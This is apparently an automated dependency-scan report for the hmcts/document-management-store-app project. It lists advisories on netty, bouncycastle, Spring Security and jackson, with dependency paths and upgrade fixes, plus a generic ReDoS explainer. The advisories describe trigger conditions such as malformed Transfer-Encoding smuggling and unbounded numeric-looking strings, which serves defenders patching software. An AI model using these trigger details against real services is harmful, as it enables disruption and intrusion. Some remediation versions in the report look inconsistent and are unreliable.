io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to HTTP Request Smuggling due to incomplete validation of request Transfer-Encoding headers. An attacker can inject arbitrary HTTP requests by sending malformed request framing where chunked appears in a Transfer-Encoding field but is not the final transfer-coding token, such as split across multiple header lines or hidden in pseudo-suffix values like chunked, xchunked. The decoder accepts these malformed encodings as chunked and then derives an ambiguous message length, which lets a crafted request be parsed differently by front-end and back-end components. That can desynchronize HTTP processing and allow the attacker to smuggle requests through a proxy or intermediary.

Remediation

Upgrade io.netty:netty-codec-http to version 4.2.18.Final, 4.1.138.Final or higher.

References

medium severity
new

Incorrect Comparison

  • Vulnerable module: org.bouncycastle:bcpkix-jdk18on
  • Introduced through: org.apache.tika:tika-parsers-standard-package@3.3.2

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.apache.tika:tika-parsers-standard-package@3.3.2 › org.apache.tika:tika-parser-microsoft-module@3.3.2 › org.bouncycastle:bcjmail-jdk18on@1.85 › org.bouncycastle:bcpkix-jdk18on@1.85
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@4.1.0.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.apache.tika:tika-parsers-standard-package@3.3.2 › org.apache.tika:tika-parser-crypto-module@3.3.2 › org.bouncycastle:bcjmail-jdk18on@1.85 › org.bouncycastle:bcpkix-jdk18on@1.85
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@4.1.0.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.apache.tika:tika-parsers-standard-package@3.3.2 › org.apache.tika:tika-parser-digest-commons@3.3.2 › org.bouncycastle:bcjmail-jdk18on@1.85 › org.bouncycastle:bcpkix-jdk18on@1.85
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@4.1.0.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.apache.tika:tika-parsers-standard-package@3.3.2 › org.apache.tika:tika-parser-pdf-module@3.3.2 › org.bouncycastle:bcjmail-jdk18on@1.85 › org.bouncycastle:bcpkix-jdk18on@1.85
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@4.1.0.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.apache.tika:tika-parsers-standard-package@3.3.2 › org.apache.tika:tika-parser-cad-module@3.3.2 › org.apache.tika:tika-parser-microsoft-module@3.3.2 › org.bouncycastle:bcjmail-jdk18on@1.85 › org.bouncycastle:bcpkix-jdk18on@1.85
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@4.1.0.

Overview

Affected versions of this package are vulnerable to Incorrect Comparison through the JceKeyTransRecipient key transport path in pkix/src/main/java/org/bouncycastle/cms/jcajce/JceKeyTransRecipient.java. An attacker can bypass the opt-in key-size check and have an EnvelopedData or AuthEnvelopedData message accepted by supplying an RFC 9709 HKDF-based content-encryption key transport where the transported key size does not match the advertised content-encryption algorithm. When setKeySizeValidation(true) is enabled, the recipient processes the CMS message but the validation branch never reaches the actual content-encryption algorithm for this HKDF case, so the mismatched recovered key is accepted instead of being rejected. This leaves applications that rely on key-size validation to enforce CMS recipient policy exposed to silently accepted messages with the wrong key size.

Remediation

Upgrade org.bouncycastle:bcpkix-jdk18on to version 1.86 or higher.

References

medium severity

Missing Authorization

  • Vulnerable module: org.springframework.security:spring-security-config
  • Introduced through: org.springframework.security:spring-security-config@versions.springSecurity

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.security:spring-security-config@versions.springSecurity
    Remediation: Upgrade to org.springframework.security:spring-security-config@3.0.0.RELEASE.

Overview

org.springframework.security:spring-security-config is a security configuration package for Spring Framework.

Affected versions of this package are vulnerable to Missing Authorization. When the applications using @AuthorizeReturnObject or the Spring Security produced AuthorizationAdvisorProxyFactory @Bean to wrap objects, they may not have all security advice applied, resulting in annotations like @PreFilter and @PreAuthorize may take no effect on these wrapped objects.

NOTE:

This does not impact any @Beans that use Spring Security's method security advice.

For this to impact an application, all of the following need to be true:

  1. AnnotationAwareAspectJAutoProxyCreator must be the auto proxy creator being used to create proxies; this can either be done declaratively by your application or enabled via @EnableAspectJAutoProxy or enabled by Spring Boot by virtue of using spring-aspects or a starter that uses spring-aspects

  2. The application must have at least one FactoryBean present in the application context.

  3. The application must enable method security with @EnableMethodSecurity

  4. The application must wrap objects using the @AuthorizeReturnObject annotation or the AuthorizationAdvisorProxyFactory @Bean` produced by Spring Security.

  5. The application must be using @PreFilter, @PostFilter, @PreAuthorize, or @PostAuthorize on those wrapped objects

Remediation

Upgrade org.springframework.security:spring-security-config to version 6.3.2 or higher.

References

medium severity

Incorrect Authorization

  • Vulnerable module: org.springframework.security:spring-security-core
  • Introduced through: org.springframework.security:spring-security-core@versions.springSecurity

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.security:spring-security-core@versions.springSecurity
    Remediation: Upgrade to org.springframework.security:spring-security-core@2.0.0.

Overview

org.springframework.security:spring-security-core is a package that provides security services for the Spring IO Platform.

Affected versions of this package are vulnerable to Incorrect Authorization when using @EnableMethodSecurity on parameterized types or methods. The method annotation finding logic in findClosestMethodAnnotations() does not properly traverse the inheritance of method security annotations, allowing authorization bypass if a method security annotation is used on a parameterized superclass, interface, or overridden method but not on the target method.

If any of the following are true the application is not vulnerable:

  1. Method security annotations (@EnableMethodSecurity) are not in use.

  2. Method security annotations are in use but not for parameterized types or methods.

  3. All method security annotations are attached to target methods.

Remediation

Upgrade org.springframework.security:spring-security-core to version 6.4.4 or higher.

References

medium severity
new

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: tools.jackson.core:jackson-core
  • Introduced through: net.logstash.logback:logstash-logback-encoder@9.0, org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 and others

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › net.logstash.logback:logstash-logback-encoder@9.0 › tools.jackson.core:jackson-databind@3.0.1 › tools.jackson.core:jackson-core@3.0.1
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-jackson@4.2.0-M2 › tools.jackson.core:jackson-databind@3.0.1 › tools.jackson.core:jackson-core@3.0.1
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-starter-jackson@4.2.0-M2 › org.springframework.boot:spring-boot-jackson@4.2.0-M2 › tools.jackson.core:jackson-databind@3.0.1 › tools.jackson.core:jackson-core@3.0.1
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-web@4.2.0-M2 › org.springframework.boot:spring-boot-starter-jackson@4.2.0-M2 › org.springframework.boot:spring-boot-jackson@4.2.0-M2 › tools.jackson.core:jackson-databind@3.0.1 › tools.jackson.core:jackson-core@3.0.1
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-data-rest@4.2.0-M2 › org.springframework.data:spring-data-rest-webmvc@5.2.0-M2 › tools.jackson.core:jackson-databind@3.0.1 › tools.jackson.core:jackson-core@3.0.1
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-starter-webmvc@4.2.0-M2 › org.springframework.boot:spring-boot-starter-jackson@4.2.0-M2 › org.springframework.boot:spring-boot-jackson@4.2.0-M2 › tools.jackson.core:jackson-databind@3.0.1 › tools.jackson.core:jackson-core@3.0.1

Overview

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) in the PATTERN_FLOAT regex of NumberInput, reached through looksLikeValidNumber(), where adjacent quantifiers over the same character class ([0-9]*, then an optional [.], then [0-9]+) carry no possessive quantifiers or atomic grouping, so the engine explores every split point between digit groups on non-matching input. An attacker can pin a request-handling thread and exhaust the worker pool with concurrent requests by supplying a long numeric-looking string that fails to match, since match cost is quadratic in input length, with 160,000 characters costing 74.4 seconds in a single call. This requires the application to reach looksLikeValidNumber() with attacker-controlled strings, which is the default path when jackson-databind coerces a String field to a number, and the input is bounded only by StreamReadConstraints.maxStringLength at 20,000,000 rather than by maxNumberLength at 1,000.

Workaround

This vulnerability can be avoided by lowering StreamReadConstraints.maxStringLength toward the string length the application actually needs, which caps the input this quadratic path can be handed, since it is that limit and not maxNumberLength that governs here.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade tools.jackson.core:jackson-core to version 3.1.7, 3.2.2 or higher.

References

medium severity
new

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: tools.jackson.core:jackson-databind
  • Introduced through: net.logstash.logback:logstash-logback-encoder@9.0, org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 and others

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › net.logstash.logback:logstash-logback-encoder@9.0 › tools.jackson.core:jackson-databind@3.0.1
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-jackson@4.2.0-M2 › tools.jackson.core:jackson-databind@3.0.1
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-starter-jackson@4.2.0-M2 › org.springframework.boot:spring-boot-jackson@4.2.0-M2 › tools.jackson.core:jackson-databind@3.0.1
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-web@4.2.0-M2 › org.springframework.boot:spring-boot-starter-jackson@4.2.0-M2 › org.springframework.boot:spring-boot-jackson@4.2.0-M2 › tools.jackson.core:jackson-databind@3.0.1
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-data-rest@4.2.0-M2 › org.springframework.data:spring-data-rest-webmvc@5.2.0-M2 › tools.jackson.core:jackson-databind@3.0.1
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-starter-webmvc@4.2.0-M2 › org.springframework.boot:spring-boot-starter-jackson@4.2.0-M2 › org.springframework.boot:spring-boot-jackson@4.2.0-M2 › tools.jackson.core:jackson-databind@3.0.1

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the _findDeserializer() method of TypeDeserializerBase, which caches every unknown type ID as a distinct key in the _deserializers map even when all of them resolve to the same defaultImpl fallback. An attacker can grow that cache without bound for the lifetime of the process, exhausting memory over time, by submitting a stream of novel type identifiers. This requires the application to use name-based polymorphism through @JsonTypeInfo(use = Id.NAME, defaultImpl = ...), to accept attacker-controlled type identifiers, and to reuse the mapper instance across requests.

Remediation

Upgrade tools.jackson.core:jackson-databind to version 3.1.7, 3.2.3 or higher.

References

medium severity

Improperly Controlled Modification of Dynamically-Determined Object Attributes

  • Vulnerable module: tools.jackson.core:jackson-databind
  • Introduced through: net.logstash.logback:logstash-logback-encoder@9.0, org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 and others

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › net.logstash.logback:logstash-logback-encoder@9.0 › tools.jackson.core:jackson-databind@3.0.1
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-jackson@4.2.0-M2 › tools.jackson.core:jackson-databind@3.0.1
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-starter-jackson@4.2.0-M2 › org.springframework.boot:spring-boot-jackson@4.2.0-M2 › tools.jackson.core:jackson-databind@3.0.1
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-web@4.2.0-M2 › org.springframework.boot:spring-boot-starter-jackson@4.2.0-M2 › org.springframework.boot:spring-boot-jackson@4.2.0-M2 › tools.jackson.core:jackson-databind@3.0.1
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-data-rest@4.2.0-M2 › org.springframework.data:spring-data-rest-webmvc@5.2.0-M2 › tools.jackson.core:jackson-databind@3.0.1
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-starter-webmvc@4.2.0-M2 › org.springframework.boot:spring-boot-starter-jackson@4.2.0-M2 › org.springframework.boot:spring-boot-jackson@4.2.0-M2 › tools.jackson.core:jackson-databind@3.0.1

Overview

Affected versions of this package are vulnerable to Improperly Controlled Modification of Dynamically-Determined Object Attributes in the POJOPropertiesCollector._renameProperties() and BeanDeserializerFactory.addBeanProps() methods, which rename rather than drop a property whose getter carries @JsonProperty and whose setter carries @JsonIgnore, leaving the private backing field writable. An attacker can write a field that was meant to be unsettable, enabling property tampering and mass assignment, by supplying the renamed JSON key during deserialization, because the factory observes hasField()==true and builds a writable FieldProperty for the backing field. Exploitation requires MapperFeature.INFER_PROPERTY_MUTATORS to be enabled, which is the default, and a target type that pairs a renamed getter with an ignored setter, and the impact is limited to writing existing fields with no path to remote code execution.

Remediation

Upgrade tools.jackson.core:jackson-databind to version 3.1.4 or higher.

References

medium severity

Improperly Controlled Modification of Dynamically-Determined Object Attributes

  • Vulnerable module: tools.jackson.core:jackson-databind
  • Introduced through: net.logstash.logback:logstash-logback-encoder@9.0, org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 and others

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › net.logstash.logback:logstash-logback-encoder@9.0 › tools.jackson.core:jackson-databind@3.0.1
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-jackson@4.2.0-M2 › tools.jackson.core:jackson-databind@3.0.1
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-starter-jackson@4.2.0-M2 › org.springframework.boot:spring-boot-jackson@4.2.0-M2 › tools.jackson.core:jackson-databind@3.0.1
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-web@4.2.0-M2 › org.springframework.boot:spring-boot-starter-jackson@4.2.0-M2 › org.springframework.boot:spring-boot-jackson@4.2.0-M2 › tools.jackson.core:jackson-databind@3.0.1
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-data-rest@4.2.0-M2 › org.springframework.data:spring-data-rest-webmvc@5.2.0-M2 › tools.jackson.core:jackson-databind@3.0.1
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-starter-webmvc@4.2.0-M2 › org.springframework.boot:spring-boot-starter-jackson@4.2.0-M2 › org.springframework.boot:spring-boot-jackson@4.2.0-M2 › tools.jackson.core:jackson-databind@3.0.1

Overview

Affected versions of this package are vulnerable to Improperly Controlled Modification of Dynamically-Determined Object Attributes in the BeanDeserializerBase.createContextual() method, which applies the per-property exclusions through _handleByNameInclusion() and then rebuilds the property map from the unfiltered original, overwriting the filtered map and restoring every property the exclusion had removed. An attacker can set fields that were marked ignored, enabling mass assignment, by supplying those property names in untrusted JSON during deserialization. Exploitation requires case-insensitive property matching to be enabled via @JsonFormat with ACCEPT_CASE_INSENSITIVE_PROPERTIES alongside per-property @JsonIgnoreProperties.

Remediation

Upgrade tools.jackson.core:jackson-databind to version 3.1.4 or higher.

References

medium severity

Improperly Controlled Modification of Dynamically-Determined Object Attributes

  • Vulnerable module: tools.jackson.core:jackson-databind
  • Introduced through: net.logstash.logback:logstash-logback-encoder@9.0, org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 and others

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › net.logstash.logback:logstash-logback-encoder@9.0 › tools.jackson.core:jackson-databind@3.0.1
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-jackson@4.2.0-M2 › tools.jackson.core:jackson-databind@3.0.1
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-starter-jackson@4.2.0-M2 › org.springframework.boot:spring-boot-jackson@4.2.0-M2 › tools.jackson.core:jackson-databind@3.0.1
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-web@4.2.0-M2 › org.springframework.boot:spring-boot-starter-jackson@4.2.0-M2 › org.springframework.boot:spring-boot-jackson@4.2.0-M2 › tools.jackson.core:jackson-databind@3.0.1
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-data-rest@4.2.0-M2 › org.springframework.data:spring-data-rest-webmvc@5.2.0-M2 › tools.jackson.core:jackson-databind@3.0.1
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-starter-webmvc@4.2.0-M2 › org.springframework.boot:spring-boot-starter-jackson@4.2.0-M2 › org.springframework.boot:spring-boot-jackson@4.2.0-M2 › tools.jackson.core:jackson-databind@3.0.1

Overview

Affected versions of this package are vulnerable to Improperly Controlled Modification of Dynamically-Determined Object Attributes in the POJOPropertiesCollector._removeUnwantedIgnorals process. An attacker can access or modify properties that were intended to be ignored by supplying JSON input with keys matching the renamed property names, thereby bypassing intended access restrictions.

Remediation

Upgrade tools.jackson.core:jackson-databind to version 3.1.4 or higher.

References

medium severity

Server-side Request Forgery (SSRF)

  • Vulnerable module: tools.jackson.core:jackson-databind
  • Introduced through: net.logstash.logback:logstash-logback-encoder@9.0, org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 and others

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › net.logstash.logback:logstash-logback-encoder@9.0 › tools.jackson.core:jackson-databind@3.0.1
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-jackson@4.2.0-M2 › tools.jackson.core:jackson-databind@3.0.1
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-starter-jackson@4.2.0-M2 › org.springframework.boot:spring-boot-jackson@4.2.0-M2 › tools.jackson.core:jackson-databind@3.0.1
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-web@4.2.0-M2 › org.springframework.boot:spring-boot-starter-jackson@4.2.0-M2 › org.springframework.boot:spring-boot-jackson@4.2.0-M2 › tools.jackson.core:jackson-databind@3.0.1
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-data-rest@4.2.0-M2 › org.springframework.data:spring-data-rest-webmvc@5.2.0-M2 › tools.jackson.core:jackson-databind@3.0.1
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-starter-webmvc@4.2.0-M2 › org.springframework.boot:spring-boot-starter-jackson@4.2.0-M2 › org.springframework.boot:spring-boot-jackson@4.2.0-M2 › tools.jackson.core:jackson-databind@3.0.1

Overview

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) in the JDKFromStringDeserializer class, which constructs InetSocketAddress and resolves the hostname through DNS at deserialization time. An attacker can force the server to issue outbound DNS lookups for chosen hostnames by submitting JSON that is deserialized into a type holding an InetSocketAddress field, with no authentication required. The observable effect is limited to DNS resolution of attacker-chosen names, useful for out-of-band interaction or internal resolver probing rather than a full outbound request, and it applies only where the application deserializes untrusted JSON into types containing such fields.

Remediation

Upgrade tools.jackson.core:jackson-databind to version 3.1.4 or higher.

References

medium severity

Server-side Request Forgery (SSRF)

  • Vulnerable module: tools.jackson.core:jackson-databind
  • Introduced through: net.logstash.logback:logstash-logback-encoder@9.0, org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 and others

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › net.logstash.logback:logstash-logback-encoder@9.0 › tools.jackson.core:jackson-databind@3.0.1
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-jackson@4.2.0-M2 › tools.jackson.core:jackson-databind@3.0.1
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-starter-jackson@4.2.0-M2 › org.springframework.boot:spring-boot-jackson@4.2.0-M2 › tools.jackson.core:jackson-databind@3.0.1
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-web@4.2.0-M2 › org.springframework.boot:spring-boot-starter-jackson@4.2.0-M2 › org.springframework.boot:spring-boot-jackson@4.2.0-M2 › tools.jackson.core:jackson-databind@3.0.1
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-data-rest@4.2.0-M2 › org.springframework.data:spring-data-rest-webmvc@5.2.0-M2 › tools.jackson.core:jackson-databind@3.0.1
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-starter-webmvc@4.2.0-M2 › org.springframework.boot:spring-boot-starter-jackson@4.2.0-M2 › org.springframework.boot:spring-boot-jackson@4.2.0-M2 › tools.jackson.core:jackson-databind@3.0.1

Overview

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) through the STD_INET_ADDRESS branch in FromStringDeserializer in src/main/java/com/fasterxml/jackson/databind/deser/std/FromStringDeserializer.java. An attacker can trigger outbound DNS lookups and blind SSRF behavior by supplying a hostname string in JSON that is deserialized into java.net.InetAddress. When application code binds untrusted input into an InetAddress field or type, the deserializer calls InetAddress.getByName(value) on the attacker-controlled string and resolves it before any application validation runs. This lets an attacker force DNS-based callbacks or probe internal hostnames, causing unwanted network egress and leaking resolver-visible information.

Remediation

Upgrade tools.jackson.core:jackson-databind to version 3.1.5, 3.2.1 or higher.

References

medium severity

Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')

  • Vulnerable module: tools.jackson.core:jackson-databind
  • Introduced through: net.logstash.logback:logstash-logback-encoder@9.0, org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 and others

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › net.logstash.logback:logstash-logback-encoder@9.0 › tools.jackson.core:jackson-databind@3.0.1
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-jackson@4.2.0-M2 › tools.jackson.core:jackson-databind@3.0.1
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-starter-jackson@4.2.0-M2 › org.springframework.boot:spring-boot-jackson@4.2.0-M2 › tools.jackson.core:jackson-databind@3.0.1
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-web@4.2.0-M2 › org.springframework.boot:spring-boot-starter-jackson@4.2.0-M2 › org.springframework.boot:spring-boot-jackson@4.2.0-M2 › tools.jackson.core:jackson-databind@3.0.1
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-data-rest@4.2.0-M2 › org.springframework.data:spring-data-rest-webmvc@5.2.0-M2 › tools.jackson.core:jackson-databind@3.0.1
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-starter-webmvc@4.2.0-M2 › org.springframework.boot:spring-boot-starter-jackson@4.2.0-M2 › org.springframework.boot:spring-boot-jackson@4.2.0-M2 › tools.jackson.core:jackson-databind@3.0.1

Overview

Affected versions of this package are vulnerable to Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection') through NioPathDeserializer in src/main/java/com/fasterxml/jackson/databind/ext/NioPathDeserializer.java. An attacker can force readValue() to resolve an attacker-controlled java.nio.file.Path URI by supplying a non-file scheme such as jar:, http:, s3:, or a custom provider scheme in untrusted JSON. That input reaches new URI(value) and then Path.of(uri), which falls back to ServiceLoader<FileSystemProvider> resolution and can invoke a matching provider’s getPath(uri) during deserialization. The result is unintended provider loading and provider-driven path handling inside the application, which can trigger denial of service or other side effects depending on what FileSystemProvider implementations are present on the classpath.

Remediation

Upgrade tools.jackson.core:jackson-databind to version 3.1.6, 3.2.2 or higher.

References

medium severity

Cryptographic Weakness

  • Vulnerable module: org.springframework.security:spring-security-core
  • Introduced through: org.springframework.security:spring-security-core@versions.springSecurity

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.security:spring-security-core@versions.springSecurity
    Remediation: Upgrade to org.springframework.security:spring-security-core@2.0.0.

Overview

org.springframework.security:spring-security-core is a package that provides security services for the Spring IO Platform.

Affected versions of this package are vulnerable to Cryptographic Weakness. Spring Security was found to be a fixed null initialization vector with CBC Mode in the implementation of the queryable text encryptor. A malicious user with access to the data that has been encrypted using such an encryptor may be able to derive the unencrypted values using a dictionary attack.

Remediation

